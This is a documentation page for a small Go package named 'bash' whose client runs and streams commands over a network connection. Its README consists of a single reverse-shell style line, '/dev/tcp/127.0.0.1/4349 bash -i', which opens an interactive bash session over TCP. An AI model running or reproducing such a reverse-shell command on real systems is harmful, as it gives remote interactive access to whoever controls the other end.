bash

package module
v0.0.14 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jun 26, 2023 License: GPL-3.0 Imports: 12 Imported by: 2 modules, 1 package

The first number is the count of modules that contain a package that imports this one. The module count is a better indicator of popularity than the package count. A module with 100 importing packages is counted only once instead of 100 times, reflecting the fact that the choice to use the package was likely made only once, not 100 times.
A '?' means that the value hasn't been computed yet.

README

<>/dev/tcp/127.0.0.1/4349 bash -i

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	ErrStreamIDWrong   = fmt.Errorf("wrong stream id")
	ErrStreamIDExpired = fmt.Errorf("expired stream id")
	ErrStreamIDReused  = fmt.Errorf("stream id is be reused. %w", ErrStreamIDExpired)
)
View Source
var (
	ErrStreamOpenTimeout = fmt.Errorf("open stream timeout")
)

Functions

This section is empty.

Types

type Client

type Client struct {
	ID       string
	Endpoint string
	Conn     net.Conn
	Timeout  time.Duration
	// contains filtered or unexported fields
}

func NewClient

func NewClient(conn net.Conn) *Client

func (*Client) Close

func (c *Client) Close() (err error)

func (*Client) HandleConn

func (c *Client) HandleConn(stream io.ReadWriteCloser) (err error)

func (*Client) Run

func (c *Client) Run(cmd string) (result []byte, err error)

func (*Client) Start

func (c *Client) Start(cmd string) (stream io.ReadWriteCloser, err error)
type Header [12]byte

func (*Header) ID

func (h *Header) ID() uint32

func (*Header) MagicCode

func (h *Header) MagicCode() uint32

func (*Header) String

func (h *Header) String() string

func (*Header) Version

func (h *Header) Version() uint8

type Session

type Session interface {
	Start(cmd string) (stream io.ReadWriteCloser, err error)
	Run(cmd string) (result []byte, err error)
	Close() error
}

type StreamHook

type StreamHook struct {
	Header
	StreamCh chan io.ReadWriteCloser
	// contains filtered or unexported fields
}

Directories

Path Synopsis
internal

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL